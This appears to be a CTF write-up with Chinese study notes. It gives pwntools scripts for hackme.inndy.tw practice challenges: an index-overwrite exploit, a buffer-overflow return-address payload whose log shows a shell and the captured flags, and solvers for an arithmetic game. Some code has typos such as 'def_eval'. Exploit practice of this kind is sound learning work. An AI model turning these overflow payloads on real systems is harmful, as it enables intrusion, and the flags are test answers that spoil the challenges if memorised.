from pwn import * p = remote('hackme.inndy.tw', 7701) context.log_level = 'debug' p.sendlineafter("What's your name? ", 'yzy') p.sendline('1') p.sendlineafter('Index to edit: ', str(int(0x34+4)//4)) p.sendlineafter('How many? ', str(int('0x80485FB', 16))) p.sendlineafter('0 > exit', '0') p.interactive()
061 toooomuch
ROP
1 2 3 4 5
from pwn import * p = remote('hackme.inndy.tw', 7702) payload = 'a'*(0x18+4) + p32(0x804863B) p.sendlineafter('Give me your passcode: ', payload) p.interactive()
[root@izwdpnodbapihwz pwn]# vim toooomach.py [root@izwdpnodbapihwz pwn]# python t* [+] Opening connection to hackme.inndy.tw on port 7702: Done [*] Switching to interactive mode You are not allowed here! $ ls fake_flag flag run.sh toooomuch $ cat fake_flag FLAG{B1N@RY S3@RCH 15 F@5T T0 TH3 GU355 NUM133R G@M3...Vx1uck7CvuaCEew7} $ cat flag FLAG{Buffer overflow is pretty easy, right?...MbIfR7p9sbKbwPSp}
import re from numpy import int32 from pwn import *
def_eval(a, op, b): if op == '+': return int32(int(a) + int(b)) elif op == '-': return int32(int(a) - int(b)) elif op == '*': return int32(int(a) * int(b)) elif op == '/': return int32(float(int(a)) / int(b))
#context.log_level = 'debug' p = remote('hackme.inndy.tw', 7707) p.recvuntil("Send 'Yes I know' to start the game.") p.sendline('Yes I know')
datas = '' while datas.count('\n') < 10000: datas += p.recv()
formulas = datas.split('\n')
answer = [] for formula in formulas: if formula != '': params = formula.split(' ') a, op , b = params[0], params[1], params[2] answer.append(_eval(a,op,b)) answer = '\n'.join(list(map(str,answer))) p.send(answer) p.interactive()
ans = "" res = "" f = lambda x: int32(int(x)) for i in xrange(10000): n1, op, n2 = io.recvuntil("=", drop = True).strip().split(' ') # print n1, op, n2 io.recvline()
if op == '+': # print n1, op, n2 ans = str(f(n1) + f(n2)) if op == '-': ans = str(f(n1) - f(n2)) if op == '*': ans = str(f(n1) * f(n2)) if op == '/': ans = str(int(float(n1) / int(n2)))
res += (ans + " ")
# print res io.sendline(res) io.interactive() io.close()
知识点:
lambda将int32(int(x))封装,简洁
recvuntil("=", drop = True).strip().split(' '),接收到等号,且丢弃等号(drop=false时,接受到等号且不丢弃等号)
@cython.cdivision(True) def_eval(int a, op, int b): if op == b'+': return a + b elif op == b'-': return a - b elif op == b'*': return a * b elif op == b'/': return a / b
io = remote('hackme.inndy.tw', 7707) io.recvuntil('start the game.\n') io.sendline('Yes I know')
exps = b''
while exps.count(b'\n') != 10000: exps += io.recv() exps = exps.strip().split(b'\n')
ans = '' for i in range(len(exps)): exp = exps[i].split() a, b = int(exp[0]), int(exp[2]) op = exp[1] ans += f'{_eval(a, op, b)}\n' io.send(ans) io.interactive() io.close()
知识点:
cython(TODO)
while exps.count(b'\n') != 10000:根据count(‘\n’)的数量来判断是否达到10000